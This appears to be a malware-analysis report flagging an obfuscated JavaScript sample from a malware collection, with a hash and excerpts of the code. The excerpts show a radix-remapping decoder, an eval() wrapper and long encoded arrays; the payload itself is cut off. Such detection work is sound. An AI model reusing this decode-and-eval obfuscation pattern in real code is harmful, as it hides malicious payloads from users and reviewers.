Suspicious ^80% javascript-malware-collection Download

20151210_bc9f03923398b6a7ab184e732e5b8e93.js

parseInt toString radix remapMassive array index assignment

SHA-256e2836790c14114907d5eb61a34c419683c4db65d332a5ef325fff6ac895ab560

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var OdbdQZETZhivs=[];
2djbuiXT=(-821+821)/77;while(true){if(djbuiXT>=(113183+993)/892){break;}OdbdQZETZhivs[djbuiXT]=String.fromCharCode(djbuiXT);djbuiXT++;}
3function jGcyl(fqZTarKqXmR,WTkMnpoiKXrgR,OJWewNwj){YsWc=parseInt(fqZTarKqXmR,WTkMnpoiKXrgR);WZepy=YsWc.toString(OJWewNwj);return WZepy;}function FXLfexHDeMibdKt(JvAzmmAGDkqPqVOOz){eval(JvAzmmAGDkqPqVOOz)}
4function aQkmfmCLccpGzXsFAWPCjxtmIKrXooaZfNmwLUQIpyeMZpYaLkLGPh(VUpkmvBRRqsDC,PsTNgeacLiLVWH){ return OdbdQZETZhivs[jGcyl(VUpkmvBRRqsDC[PsTNgeacLiLVWH],(2551+374)/117,(4100+620)/472)];}
5function lFUriot(azXFKWepEjgZDpbqSSTwkLovBDRpXxNWtelt) {return !isNaN(parseFloat(azXFKWepEjgZDpbqSSTwkLovBDRpXxNWtelt)) && isFinite(azXFKWepEjgZDpbqSSTwkLovBDRpXxNWtelt);}
6function ztcEPuaCMXL(jogMlhsr,eWXUwV){return jogMlhsr.split(eWXUwV)}
7var M=[];M[0]="d";M[1]="a";M[2]="d";M[3]="a";M[4]="4i";M[5]="3m";M[6]="4e";M[7]="17";M[8]="4f";M[9]="17";M[10]="2b";M …

Massive array index assignment line 8

8:4300… ";u[859]="4g";u[860]="4e";u[861]="4l";u[862]="17";u[863]="17";u[864]="4n";u[865]="d";u[866]="a";u[867]="17";u[868]="17";u[869]="17";u[870]="17";u[871]="17";u[872]="17";u[873]="17";u[874]="17";u[875]="17";u[876]="17";u[877]="45";u[878]="42";u[879]="17";u[880]="1f";u[881]="1f";u[882]="1f";u[883]="4a";u[884]="41";u[885]="4j";u[886]="17";u[887]="2i";u[888]="3m";u[889]="4g";u[890]="41";u[891]="1f";u[892]="1g";u …